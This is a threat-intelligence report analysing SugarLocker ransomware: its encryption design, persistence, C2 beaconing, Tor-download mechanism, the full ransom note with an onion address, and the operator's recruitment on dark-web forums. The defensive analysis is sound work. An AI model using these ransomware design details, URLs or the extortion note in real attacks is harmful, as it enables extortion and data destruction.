Tracking SugarLocker ransomware & operator
Author: S2W TALON
Last Modified : 2022.02.17.
Table of Contents
The user “gustavedore” who operates the SugarLocker ransomware started RaaS activities in November 2021 and is looking for partners at RAMP, a dark web forum focused on ransomware.
The partner recruitment article written on the RAMP forum introduces the following:
- Currently, the team mainly attempts to attack through networks and RDP (Remote Desktop Protocol).
- Recruit only those who can start working immediately
- No attacks on any CIS (Commonwealth of Independent States) countries except the Baltic States and Poland
- Proposed profit-sharing ratios as below
- Initially: 70% (partner)/30% (SugarLocker)
- After 5 successful corporate attacks: 75%/25%
- Weekly earnings of $200k: 80%/20%
- Weekly earnings of $1M: 85%/15%
- Monthly earnings of $5M: 90%/10%
SugarLocker (also known as Encoded01 ransomware) is written in Delphi and offers more options than other RaaS offerings. So far, no connection with other known ransomware groups has been confirmed. Their ransom note followed REvil’s, and their negotiation page followed CLOP’s.
- Support for 3 execution parameters
- Data obfuscation with custom encoding and encryption algorithms
- It has the characteristics of RaaS with customizable setting information.
- Provides 3 file encryption algorithms of varying speeds (SCOP, RC6, Salsa20)
- Provides 2 key encryption algorithms (RSA, ElGamal)
- Download Tor browser from external URL and create a shortcut file
As a result of hunting for the SugarLocker ransomware, it is presumed that the operator has been producing SugarLocker ransomware since at least early 2021. It seems that ransomware has actually been distributed since the second half of last year, but no attack cases have been confirmed so far. They do not operate a data leak site, and it seems that the ransomware name has been changed recently, so it does not appear to be active yet.
However, the ransomware functionalities were continuously updated until the end of last year, so it looks like they’re going to start full operations once partners are successfully recruited.
SugarLocker Detailed Analysis
Creation Time: 2021–09–04 18:00:27 (UTC)
File type: x86, exe
1. Supports 3 command-line arguments
The latest SugarLocker ransomware currently supports three arguments. Among them, the -data argument does not use a separate encryption key for each infected device but uses the same encryption key for all in the entire network. In this case, it is possible to decrypt all infected devices using one recovery tool.
Disable UAC virtualization by setting the TokenVirtualizationEnabled value of the current token to 0.
3. Custom encoding and encryption algorithm
SugarLocker uses a custom encryption algorithm to encrypt strings and data. The custom encoding algorithm is mainly used when leaking information to a server or storing it in the registry.
Inside SugarLocker, 22 detailed options are stored as follows. Most settings can be set separately by an attacker when creating ransomware, but values such as infrastructure information and public key information such as ONION_URL and C2_IP cannot be modified.
5. Generate infected device ID
For the purpose of classifying an infected device, an ID is created by combining specific values. The hex value of the data combining all three values below is generated as an uppercase MD5 hash, and the first 12 digits of these are used as the ID value of the infected device. If the creation fails, the ID value is set to “unk”. Thereafter, two additional ID values are generated using this value.
- Serial number of the physical drive (PhysicalDrive0)
- Operating system installation date (InstallDate)
- Computer name (GetComputerNameW)
6. Back up important data to a specific registry
In the HKCU\SOFTWARE\ path, a path using the string of [ID1] is created to back up important data. Each key backs up the following data.
7. Generate File Encryption Key
(single mode) When generating a different file encryption key for each PC, the key is created by combining random values generated by the following 7 different ways with “|”. 4 MD5 HASH strings are combined to create a 128-byte string. After that, this value is stored in the “2” registry as custom encrypted.
- ID: 12-digit infected device ID (ID3)
- TICK: System tick count (GetTickCount)
- RAN: Random number (Random in Delphi using LCG)
- GEN: Cryptographically random numbers ( CryptGenRandom)
- COUNT: Performance Counter ( QueryPerformanceCounter) + Current time
- CURSOR: Y-axis and X-axis of the current mouse cursor
- TIME: Current time
(network mode) When FLAG_NetworkMode is enabled, SugarLocker encrypts files in network mode and encrypts all files of devices in the entire network with the specified encryption key. -data parameter or file encryption key delivered to a specific file is extracted and used, and the extraction process is as follows. If the -data parameter does not exist, the key is read by referring to the cmd.txt file in a specific path in the infected device. For this, before execution, an attacker must separately create a file in one of the paths below.
8. Collecting infected device information
fid field refers to PubkeyMode and FileEncryptionMode, and encryption-related data is encoded with a custom encoding algorithm, and all finally combined data is encoded in the same way. After that, this value is stored in the “4” registry as custom encrypted.
Among them, the IP of the infected device is collected in the form of sequentially accessing the following 5 IP whois site and parsing the IP.
9. Create mutex
If the FLAG_Debug option is disabled, a mutex is created and duplicate execution is checked. If the SugarLocker process has already been running, the current process is terminated.
- Mutex name: [ID2]
10. Register in the registry to automatically run after booting
If the FLAG_Autorun option is enabled, the SugarLocker is executed every boot by registering the current file path in the registry below.
- PATH: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
- Key: [ID2]
- Value: [Current path]
11. Infected device information leaked to the IP of the C2 server
By creating a thread, the information of the infected device is sent to the C2 server every 15 minutes. The difference is from 8. Collecting infected device information is that encryption-related fid data is not sent, only the pre-infection status and encryption mode. In case of successful transmission, a message encoded with a custom encoding algorithm “200” string is received from the server. Additional actions such as receiving data and executing commands are not implemented.
POST / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 OPR/73.0.3856.284
Content-Length: [Data Length]
12. Download the Tor browser to access the negotiation site
1) First, to create a Tor browser directory on the desktop, the desktop path is collected according to the Integrity Level of the current token.
- System Privileges: Finds user logon sessions and collects the user profile path
- Other Privileges: Collect DESKTOP path with SHGetKnownFolderPath API
2) After that, access the download URL to download additional files.
- Download URL: http://cdn2546713[.]cdnmegafiles.com/data23072021_1.dat
GET /data23072021_1.dat HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36 OPR/73.0.3856.284
3) Then, the 16-byte MD5 value at the top of the file is compared with the MD5 hash of the rest of the data to verify whether the file has been downloaded successfully. If verification fails, re-download and verify every 5 minutes.
4) When the file encryption is finished, the downloaded file is stored in the path below.
5) After that, verification is performed in the same way as 3), and the data encrypted with a custom encryption algorithm is decrypted by designating the upper 16 bytes of the lower data as a key.
6) It reads data of 0~3 offset and 4~7 offset of decrypted data and compares it to see if it is smaller than 0x11E1A300 (300MB), respectively, and performs additional action only if both are small. The data of 0~3 offset represents the size of the compressed file, and the data of 4~7 offset represents the data size after decompression.
7) Decompress the lower data using aPLib.
8) The extracted data is saved in the structure of [File size][File path][File data], and all data related to the Tor browser are stored.
9) Finally, connect to the negotiation page by inputting the firefox.exe file name and negotiation page URL as parameters as shown below. The infected device information at this time is the same as the value stored in the “4” registry and ransom note.
C:\Users\[Username]\Desktop\browser\firefox.exe –allow-remote [ONION_URL]?data=[Infected device information]
10) Create a shortcut on the desktop to run the above command line.
- Filename: SUPPORT (TOR_BROWSER).lnk
13. Create a trace file in the temp path
Just before performing file encryption, one TXT file is created in the %temp% path and the string “0” is stored.
- Filepath: C:\Users\[Username]\AppData\Local\Temp\run_[Current Time].txt
14. List excluded from encryption
Encryption is performed on all files except for folders, files, and extensions that are excluded from encryption targets specified in the malicious code. In addition, an option to perform encryption only for specific file extensions when generating ransomware is included. The default value is *.*, which targets all files.
1) Paths excluded from encryption (7 total)
2) Files excluded from encryption (4 total)
3) Extensions excluded from encryption (12 total)
15. File encryption
1) In the case of SugarLocker created in debug mode, file encryption is not performed because the FLAG_Debug option is enabled.
2) SugarLocker encrypts files on local drives and removable drives by default. Also, by creating a separate thread that encrypts the current user’s desktop path, the priority is increased to perform encryption. When executing, if the parameter -net=0 is not included, encryption is also performed on network shared drives.
- Local drive
- Removable drive
- Network share drive
3) When encrypting the network drive, the target network drive path is logged and encrypted by classifying the resource type through the DisplayType of the network resource as shown below.
4) A target file is selected by referring to the list and file properties collected in 14. List excluded from encryption for each encryption target path. As the file properties are to be compared, encryption is not performed if the file properties related to the local drive are mainly applicable.
5) A file search thread is created for each drive, and when a file to be encrypted is identified, a thread that performs encryption for each file is created and executed.
6) Only up to 100,000 files are encrypted for each folder, and if it exceeds that number, no longer encrypted.
7) If the file to be encrypted is larger than [MAX_FILE_SIZE]MB, encryption is not performed. For files smaller than this, all data is encrypted in units of 0x4000.
8) A total of 3 file encryption modes are supported, and the mode actually used is selected according to FileEncryptionMode. This is distinct from other ransomware that provides up to 1 or 2 file encryption modes, with each mode providing different encryption strength and speed. Also, according to each mode, the encryption key is generated in 7. Generate File encryption key is cut to an appropriate size for usage.
- SCOP: The upper 0x30 bytes are used as the encryption key.
- RC6: The upper 0x30 bytes are used as the encryption key.
- Salsa20: The upper 0x28 bytes are used as the encryption key.
9) After completing file encryption, 104 bytes of additional data are appended. This data includes its signature (“ctSb”), original file size, and checksum value of original file data, and all other values are fixed and stored.
10) Then, the encrypted file is saved by adding the .encoded01 extension to the existing extension.
11) A ransom note file is created in every folder browsed.
- Ransom note filename: BackFiles_encoded01.txt
16. Execute ransom note
The desktop path is collected in the same way as the 12. Download the Tor browser to access the negotiation site. After that, a ransom note is created with the following path and contents, and a notepad.exe process is run to view it.
- Ransom note file path : C:\Users\[Username]\Desktop\BackFiles_encoded01.txt
[+] Whats Happen?[+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension .encoded01. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).[+] What guarantees? [+]Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.To check the ability of returning files, You should go to our website. There you can decrypt 1-5 files for free. That is our guarantee.If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money.[+] How to get access on website? [+]You can open our site by the shortcut "SUPPORT (TOR_BROWSER)" created on the desktop.Also as the second option you can install the tor browser:a) Download and install TOR browser from this site: https://torproject.org/b) Open our website. Full link will be provided below.-----------------------------------------------------------------------------------------!!! DANGER !!!DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions -its may entail damge of the private key and, as result, The Loss all data.!!! !!! !!!ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere.!!! !!! !!!-----------------------------------------------------------------------------------------Your ID:[Custom encoded infected device information]Your support onion(TOR) url:http://chat5sqrnzqewampznybomgn4hf2m53tybkarxk4sfaktwt7oqpkcvyd.onion/gate.php?data=[Custom encoded infected device information]
History of SugarLocker Ransomware
The latest version of SugarLocker confirmed to date (January 10, 2022) is 1.0.6, and versions 1.0.5, 1.0.4, and 1.0.3 have been secured through additional hunting. From version 1.0.4, the number of execution parameters was added one by one as the SugarLocker version went up, and from version 1.0.5, a logging function to check whether malicious behavior was performed successfully was included.
Packing to bypass vaccine detection was applied since version 1.0.3, which is the lowest version of the obtained samples, but it was confirmed that the time of compilation of the packed SugarLocker was different for each version. The compile timestamp of the actual unpacked samples are all set to the Delphi default timestamp, June 19, 1992, so it is impossible to check the exact production time, but the compile timestamp of the packed sample is different for each version. The differing timestamps suggest that the SugarLocker ransomware production started at least before February 2021.
Last year, the total number of SugarLocker samples obtained through VirusTotal is 112, and the earliest uploaded date is November 6, 2021. At that time, the uploaded sample was confirmed to be the latest version 1.0.6, and the interesting thing is that 109 SugarLocker samples were uploaded on November 25, 2021, and among them, versions 1.0.3 to 1.0.6 were evenly uploaded.
Among 112 samples, the statistics for each version are as follows.
Most of the 112 samples collected last year were packed and were normal PE files. However, most of the 141 samples collected this year were version 1.0.6, but these were not packed and were broken PE files.
Interestingly, many of the samples started uploading these files to VirusTotal on February 2nd, which is the date Walmart posted an analysis of SugarLocker. In addition, messages from the operator were not there before suddenly began to include in the malware. It seems that the operator distributed this dummy malware to disturb analysts after the analysis report was released. Below is the operator’s message contained within SugarLocker.
Among 253 samples, the statistics for each version are as follows.
DDW activity of SugarLocker ransomware operator
The user “gustavedore”, who is the operator of SugarLocker, has been active in RAMP ever since he first posted on November 11, 2021, on the RaaS bulletin board of the RAMP forum. Recently, it seems that the ransomware name has been changed from SugarLocker name to Andropov. He wrote it in three versions: Russian, English, and Chinese.
We found out that he was active on XSS about two years ago and used the nickname “JimJones” on the Exploit forums. At the time, he didn’t seem very interested in ransomware. Currently, he uses the nickname “GistaveDore” on the Exploit forums.
He was primarily active on the Exploit forums and spoke Russian. On July 30, 2020, he suddenly announced that he would start developing ransomware in C++. On August 8, he was also looking for Pentester. Later, on September 2, he tried to recruit two developers for ransomware. He mentioned that he also pays for an office and salary. On December 23, he tried to get investors in their market services.
1. May 25, 2020: Posted a developer advertisement on the Exploit forum.
2. May 29, 2020: Posted a developer advertisement on the XSS forum.
3. July 30, 2020: Posted that he would code a ransomware affiliate program
4. December 23, 2020: Looking for an investor to invest or promote in their services
- “magtest.tk” domain information
5. May 27, 2021: First post uploaded to Exploit with a new nickname “GistaveDore”
6. November 04, 2021: Joined RAMP, a dark web forum related to ransomware
7. November 11, 2021: Uploaded the first collaborator job posting to the RAMP forum, a dark web forum related to ransomware.
8. November 11, 2021 ~ January 22, 2022: Uploaded collaborator job postings on the Freelance board of RAMP forum
9. January 08~09, 2022: Ransomware renamed from SugarLocker to Andropov
10. February 11, 2022: Suddenly posted Android Loader advertisement
11. February 11, 2022: Also showing interest in another area, NFT
- The latest version of SugarLocker ransomware found so far is 1.0.6, and there is a possibility that the function will be continuously improved in the future because the code in the ransomware is still incomplete.
- Given that it offers more customized options than existing RaaS, it appears that the new group is putting a lot of effort into its customization features to recruit new partners.
- Although the ransomware is still unfinished, we need to be able to respond to it in advance as it can become active once partners are successfully recruited.
- “gustavedore” appears to have originally come from a developer rather than a RaaS operator, but has recently changed his business to RaaS. And now he seems to be focusing on Android and NFT rather than RaaS. (Is the recruitment not going well?)
SugarLocker’s SHA256 hashes and configuration
SugarLocker Negotiation Page